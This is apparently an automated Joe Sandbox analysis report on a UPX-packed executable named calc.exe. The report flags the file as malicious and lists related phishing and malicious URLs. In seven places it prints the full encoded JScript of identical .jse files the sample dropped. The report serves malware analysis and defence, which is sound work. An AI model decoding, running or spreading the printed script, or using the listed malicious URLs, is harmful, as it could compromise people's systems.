Initial Sample

SourceDetectionScannerLabelLink
calc.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
fp2e7a.wpc.phicdn.net
192.229.221.95
truefalse
    		unknown

    World Map of Contacted IPs

    ⊘No contacted IP infos

    General Information

    Joe Sandbox version:41.0.0 Charoite
    Analysis ID:1523635
    Start date and time:2024-10-01 21:43:57 +02:00
    Joe Sandbox product:CloudBasic
    Overall analysis duration:0h 6m 32s
    Hypervisor based Inspection enabled:false
    Report type:full
    Cookbook file name:default.jbs
    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
    Number of analysed new started processes analysed:53
    Number of new started drivers analysed:0
    Number of existing processes analysed:0
    Number of existing drivers analysed:0
    Number of injected processes analysed:0
    Technologies:
    • HCA enabled
    • EGA enabled
    • AMSI enabled
    Analysis Mode:default
    Analysis stop reason:Timeout
    Sample name:calc.exe
    Detection:MAL
    Classification:mal64.winEXE@93/7@0/0
    EGA Information:
    • Successful, ratio: 100%
    HCA Information:
    • Successful, ratio: 98%
    • Number of executed functions: 79
    • Number of non-executed functions: 311
    Cookbook Comments:
    • Found application associated with file extension: .exe
    • Stop behavior analysis, all processes terminated

    Warnings

    • Exclude process from analysis (whitelisted): dllhost.exe
    • Excluded IPs from analysis (whitelisted): 20.114.59.183, 52.165.164.15
    • Excluded domains from analysis (whitelisted): client.wns.windows.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
    • Not all processes where analyzed, report is missing behavior information
    • Report size exceeded maximum capacity and may have missing behavior information.
    • Report size exceeded maximum capacity and may have missing disassembly code.
    • Report size getting too big, too many NtOpenKeyEx calls found.
    • Report size getting too big, too many NtProtectVirtualMemory calls found.
    • Report size getting too big, too many NtQueryValueKey calls found.
    • VT rate limit hit for: calc.exe

    Simulations

    Behavior and APIs

    ⊘No simulations

    Joe Sandbox View / Context

    IPs

    ⊘No context

    Domains

    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
    fp2e7a.wpc.phicdn.netPO#150623.htmlGet hashmaliciousUnknownBrowse
    • 192.229.221.95
    https://hwvtu.us17.list-manage.com/track/click?u=b34582412f60404066a5f49b0&id=a034dac789&e=6353042e9aGet hashmaliciousUnknownBrowse
    • 192.229.221.95
    http://innerglowjourney.comGet hashmaliciousUnknownBrowse
    • 192.229.221.95
    https://bit.ly/4eqfXtgGet hashmaliciousUnknownBrowse
    • 192.229.221.95
    https://debelfor.com/Get hashmaliciousUnknownBrowse
    • 192.229.221.95
    https://k7qo.sarnerholz.cam/APRjVfmkGet hashmaliciousUnknownBrowse
    • 192.229.221.95
    https://0.pwsinc.shop/?MKPT=IncGet hashmaliciousCaptcha PhishBrowse
    • 192.229.221.95
    https://pt9w4x.nauleacepr.com/9QLzRhIr/#Ygovernment.relations@rolls-royce.comGet hashmaliciousHTMLPhisherBrowse
    • 192.229.221.95
    https://swissquotech.com/swissquote-2024.zipGet hashmaliciousPhisherBrowse
    • 192.229.221.95
    He6pI1bhcA.exeGet hashmaliciousScreenConnect ToolBrowse
    • 192.229.221.95

    ASNs

    ⊘No context

    JA3 Fingerprints

    ⊘No context

    Dropped Files

    ⊘No context

    Created / dropped Files

    C:\Users\user\Desktop\G0MZ6GMwly.jse

    Download File
    Process:C:\Users\user\Desktop\calc.exe
    File Type:data
    Category:dropped
    Size (bytes):905
    Entropy (8bit):6.202615493257142
    Encrypted:false
    SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
    MD5:B4EB7F28555DDA63F591A950F2DB89D1
    SHA1:92BA2174422096A09CE506C041165564360ACCC3
    SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
    SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
    Malicious:false
    Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

    C:\Users\user\Desktop\IDsLsRQlEe.jse

    Download File
    Process:C:\Users\user\Desktop\calc.exe
    File Type:data
    Category:dropped
    Size (bytes):905
    Entropy (8bit):6.202615493257142
    Encrypted:false
    SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
    MD5:B4EB7F28555DDA63F591A950F2DB89D1
    SHA1:92BA2174422096A09CE506C041165564360ACCC3
    SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
    SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
    Malicious:false
    Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

    C:\Users\user\Desktop\cNs6XgJUw5.jse

    Download File
    Process:C:\Users\user\Desktop\calc.exe
    File Type:data
    Category:dropped
    Size (bytes):905
    Entropy (8bit):6.202615493257142
    Encrypted:false
    SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
    MD5:B4EB7F28555DDA63F591A950F2DB89D1
    SHA1:92BA2174422096A09CE506C041165564360ACCC3
    SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
    SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
    Malicious:false
    Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

    C:\Users\user\Desktop\fevGSHOMU4.jse

    Download File
    Process:C:\Users\user\Desktop\calc.exe
    File Type:data
    Category:dropped
    Size (bytes):905
    Entropy (8bit):6.202615493257142
    Encrypted:false
    SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
    MD5:B4EB7F28555DDA63F591A950F2DB89D1
    SHA1:92BA2174422096A09CE506C041165564360ACCC3
    SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
    SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
    Malicious:false
    Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

    C:\Users\user\Desktop\fhZL0KwyiV.jse

    Download File
    Process:C:\Users\user\Desktop\calc.exe
    File Type:data
    Category:dropped
    Size (bytes):905
    Entropy (8bit):6.202615493257142
    Encrypted:false
    SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
    MD5:B4EB7F28555DDA63F591A950F2DB89D1
    SHA1:92BA2174422096A09CE506C041165564360ACCC3
    SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
    SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
    Malicious:false
    Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

    C:\Users\user\Desktop\iy4J2BVXGi.jse

    Download File
    Process:C:\Users\user\Desktop\calc.exe
    File Type:data
    Category:dropped
    Size (bytes):905
    Entropy (8bit):6.202615493257142
    Encrypted:false
    SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
    MD5:B4EB7F28555DDA63F591A950F2DB89D1
    SHA1:92BA2174422096A09CE506C041165564360ACCC3
    SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
    SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
    Malicious:false
    Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

    C:\Users\user\Desktop\rbLiDVEIXX.jse

    Download File
    Process:C:\Users\user\Desktop\calc.exe
    File Type:data
    Category:dropped
    Size (bytes):905
    Entropy (8bit):6.202615493257142
    Encrypted:false
    SSDEEP:24:GPGG/rOmDyEA/lgQhs9O/E0+JSaywxBv/7DiNVkvzksm5qWdB:GPGuKmDBylgQ69OsZd1/CNavVWb
    MD5:B4EB7F28555DDA63F591A950F2DB89D1
    SHA1:92BA2174422096A09CE506C041165564360ACCC3
    SHA-256:00C9F54DC4DEEC12DB8BA086EC347D03F978E46222D9C5EC5C6240F7AC171C5C
    SHA-512:3268DE3032832A54E3251589B6D41FF43F3181E7FBC5DE6D466EA45C6DB0C8BBA6704F87954B4E28A9273067EBE20066169FF70F896A236A3F786291FB660D24
    Malicious:false
    Preview:#@~^cQMAAA==W!x^DkKxPm`(b.7l.P1'EEBN'( /aVkDcE-.J*iWW.c7l.P.x!p+@![cV+ULDtI+3Q*.-mD,0'9$.DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUN.ar6`E8.okUE*'x'Zk-0 bx9+6}0vE+.NE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[.2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b.b0vtQ&@*x6Rs+.LY4#8..l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'.2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GN.bYv4Q&*O2 b[.fpmQ'UODbxL 6DWh/4l.ZK[.`cb@!@! #-`N@*@*W#bib0c43 @!6 V.xoD4RF*m3'jY.r.o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RV.UoDtO8b^_{?DDrxL 6DG:;4lMZG[.``cVL&b@!@!.*us*8)D+DEMUP1RdE(/O.bxovT~T#87C.Ps'r4norU,v*c,R-.M1o5b,.JIRf`"1w`]Bvub,;^qR&{2S.Of0/v(,[@!(c&"zR.!I~qKM-U|'xnx9Ei7l.~.'lch*i-lM~K',rx.YP!/..PdW^l^b[hbxkkODmYWM~E_._rP&l[[r~Ex.OP^W^C^oDG;aPCNsr.kdDDmYWM/,JW1lsb9:rUb/YMCYKDPJC[Nr~rmCV^ .6nJYI\mD~2{x+A~zmOk7nor8N+1Y`E.U^DbwORUtns^B#pWWM`\m.~;{!p;@!W s.xLY4RFp;QQ*.w ]!xcW]5Y~TB0mV/.#)2R"EU`K$+DBF~6CVk+#p4RABAA==^#~@

    Static File Info

    General

    File type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
    Entropy (8bit):7.898423357288493
    TrID:
    • Win32 Executable (generic) a (10002005/4) 99.39%
    • UPX compressed Win32 Executable (30571/9) 0.30%
    • Win32 EXE Yoda's Crypter (26571/9) 0.26%
    • Generic Win/DOS Executable (2004/3) 0.02%
    • DOS Executable Generic (2002/1) 0.02%
    File name:calc.exe
    File size:206'377 bytes
    MD5:2f9fdad776d8626f2ce8625211831e91
    SHA1:21d8413eb0d60b36fc249f8025c277b557fefde3
    SHA256:9b66a8ea0f1c64965b06e7a45afbe56f2d4e6d5ef65f32446defccbebe730813
    SHA512:2abd61c6bea7c748f81cdd18133582217bd06dd19506f13f89953f8c7bd662fc5233540b9f56c57aa94e038c674128fc46dd280e2f7db642343fc5a45da25feb
    SSDEEP:6144:96LkVO8A1X2og0tEHH45Y0KTIVaTycTVDNe4oI:TMJ1X2og0MHGKT3RRwG
    TLSH:EE141225F3ED187CD45C8E3B071E9874D20EA6F2C2820A7E6E549ADBEC557101C7AB1D
    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H+..)E..)E..)E..!,..)E.\>%..)E.\>J..)E.\>..|)E.Q!...)E...Y..)E..!...)E...(..)E.(.\..)E.Q!...)E..)D..(E.\>!..)E.>"...)E.\>...)E

    File Icon

    Icon Hash:e4d4f0d4d4d4d460

    Static PE Info

    General

    Entrypoint:0x488080
    Entrypoint Section:UPX1
    Digitally signed:false
    Imagebase:0x400000
    Subsystem:windows gui
    Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
    DLL Characteristics:TERMINAL_SERVER_AWARE
    Time Stamp:0x4656F23B [Fri May 25 14:27:07 2007 UTC]
    TLS Callbacks:
    CLR (.Net) Version:
    OS Version Major:4
    OS Version Minor:0
    File Version Major:4
    File Version Minor:0
    Subsystem Version Major:4
    Subsystem Version Minor:0
    Import Hash:fd50eeaa7137498c4740b429b41a482e

    Entrypoint Preview

    Instruction
    pushad
    mov esi, 00458000h
    lea edi, dword ptr [esi-00057000h]
    push edi
    jmp 00007F58DD0CD41Dh
    nop
    mov al, byte ptr [esi]
    inc esi
    mov byte ptr [edi], al
    inc edi
    add ebx, ebx
    jne 00007F58DD0CD419h
    mov ebx, dword ptr [esi]
    sub esi, FFFFFFFCh
    adc ebx, ebx
    jc 00007F58DD0CD3FFh
    mov eax, 00000001h
    add ebx, ebx
    jne 00007F58DD0CD419h
    mov ebx, dword ptr [esi]
    sub esi, FFFFFFFCh
    adc ebx, ebx
    adc eax, eax
    add ebx, ebx
    jnc 00007F58DD0CD41Dh
    jne 00007F58DD0CD43Ah
    mov ebx, dword ptr [esi]
    sub esi, FFFFFFFCh
    adc ebx, ebx
    jc 00007F58DD0CD431h
    dec eax
    add ebx, ebx
    jne 00007F58DD0CD419h
    mov ebx, dword ptr [esi]
    sub esi, FFFFFFFCh
    adc ebx, ebx
    adc eax, eax
    jmp 00007F58DD0CD3E6h
    add ebx, ebx
    jne 00007F58DD0CD419h
    mov ebx, dword ptr [esi]
    sub esi, FFFFFFFCh
    adc ebx, ebx
    adc ecx, ecx
    jmp 00007F58DD0CD464h
    xor ecx, ecx
    sub eax, 03h
    jc 00007F58DD0CD423h
    shl eax, 08h
    mov al, byte ptr [esi]
    inc esi
    xor eax, FFFFFFFFh
    je 00007F58DD0CD487h
    sar eax, 1
    mov ebp, eax
    jmp 00007F58DD0CD41Dh
    add ebx, ebx
    jne 00007F58DD0CD419h
    mov ebx, dword ptr [esi]
    sub esi, FFFFFFFCh
    adc ebx, ebx
    jc 00007F58DD0CD3DEh
    inc ecx
    add ebx, ebx
    jne 00007F58DD0CD419h
    mov ebx, dword ptr [esi]
    sub esi, FFFFFFFCh
    adc ebx, ebx
    jc 00007F58DD0CD3D0h
    add ebx, ebx
    jne 00007F58DD0CD419h
    mov ebx, dword ptr [esi]
    sub esi, FFFFFFFCh
    adc ebx, ebx
    adc ecx, ecx
    add ebx, ebx
    jnc 00007F58DD0CD401h
    jne 00007F58DD0CD41Bh
    mov ebx, dword ptr [esi]
    sub esi, FFFFFFFCh
    adc ebx, ebx
    jnc 00007F58DD0CD3F6h
    add ecx, 02h
    cmp ebp, FFFFFB00h
    adc ecx, 02h
    lea edx, dword ptr [edi+ebp]
    cmp ebp, FFFFFFFCh
    jbe 00007F58DD0CD420h
    mov al, byte ptr [edx]

    Rich Headers

    Programming Language:
    • [C++] VS2003 (.NET) SP1 build 6030
    • [ASM] VS2003 (.NET) SP1 build 6030
    • [ C ] VS2003 (.NET) SP1 build 6030
    • [ C ] VS2005 build 50727
    • [RES] VS2003 (.NET) build 3077
    • [LNK] VS2003 (.NET) SP1 build 6030

    Data Directories

    NameVirtual AddressVirtual Size Is in Section
    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
    IMAGE_DIRECTORY_ENTRY_IMPORT0x89e8c0x310.rsrc
    IMAGE_DIRECTORY_ENTRY_RESOURCE0x890000xe8c.rsrc
    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
    IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
    IMAGE_DIRECTORY_ENTRY_IAT0x00x0
    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

    Sections

    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
    UPX00x10000x570000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
    UPX10x580000x310000x304003820b49f074de0d36c50a7babb2200edFalse0.9900420984455959data7.923658427357822IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
    .rsrc0x890000x20000x1200d8312ec9afba4f967d7c2e34b8b3e76fFalse0.3682725694444444data4.437280170665141IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

    Resources

    NameRVASizeTypeLanguageCountryZLIB Complexity
    RT_ICON0x893bc0x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640EnglishGreat Britain0.13172043010752688
    RT_ICON0x896a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
    RT_ICON0x897d40x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
    RT_MENU0x828f00x50dataEnglishGreat Britain1.1375
    RT_DIALOG0x829400xfcdataEnglishGreat Britain1.0436507936507937
    RT_STRING0x82a400x598dataEnglishGreat Britain1.0076815642458101
    RT_STRING0x82fd80x690dataEnglishGreat Britain1.006547619047619
    RT_STRING0x836680x4ceOpenPGP Public Key Version 4, Created Fri Jun 29 18:33:11 2035, Unknown Algorithm (0xf3); Public SubkeyEnglishGreat Britain1.0089430894308944
    RT_STRING0x83b380x5fadataEnglishGreat Britain1.00718954248366
    RT_STRING0x841380x572dataEnglishGreat Britain1.0078909612625537
    RT_STRING0x846b00x428dataEnglishGreat Britain1.0103383458646618
